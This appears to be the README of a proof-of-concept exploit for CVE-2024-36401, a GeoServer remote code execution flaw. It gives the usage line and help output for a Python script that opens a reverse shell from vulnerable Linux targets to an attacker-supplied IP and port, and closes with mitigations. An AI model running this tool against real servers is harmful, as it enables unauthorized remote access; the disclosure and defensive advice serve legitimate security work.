POC for CVE-2024-36401: RCE for GeoServer version prior to 2.25.1, 2.24.3 and 2.23.5 of GeoServer. This POC is based on the security advisory by phith0n.
This POC will attempt to establish a reverse shell from the vlun targets. This is aimed to work against vlun Linux targets. You will have to have a machine with published and accessiable IP in order to run this poc.
requests
libraryTo use this POC against a single target:
python CVE-2024-36401.py -u HTTP://TARGET:9090 -ip YOUR-IP -port LOCAL-PORT-NUMBER -type GeoServer-Object-Type
Help:
python3 CVE-2024-36401.py -h
options:
-h, --help show this help message and exit
-u U Target, example https://target:8080
-ip IP Your IP, example 192.168.1.1
-port PORT Port, example 1337
-type TYPE Type, example sf:archsites
1- Disable WFS requests.
2- Secure your linux by configuring iptables to disable reverse connections, set default policies to drop all traffic, allow established and related connections, and permit only essential outbound traffic like DNS, HTTP, and HTTPS
3- Or upgrade to the latest version of GeoServer.
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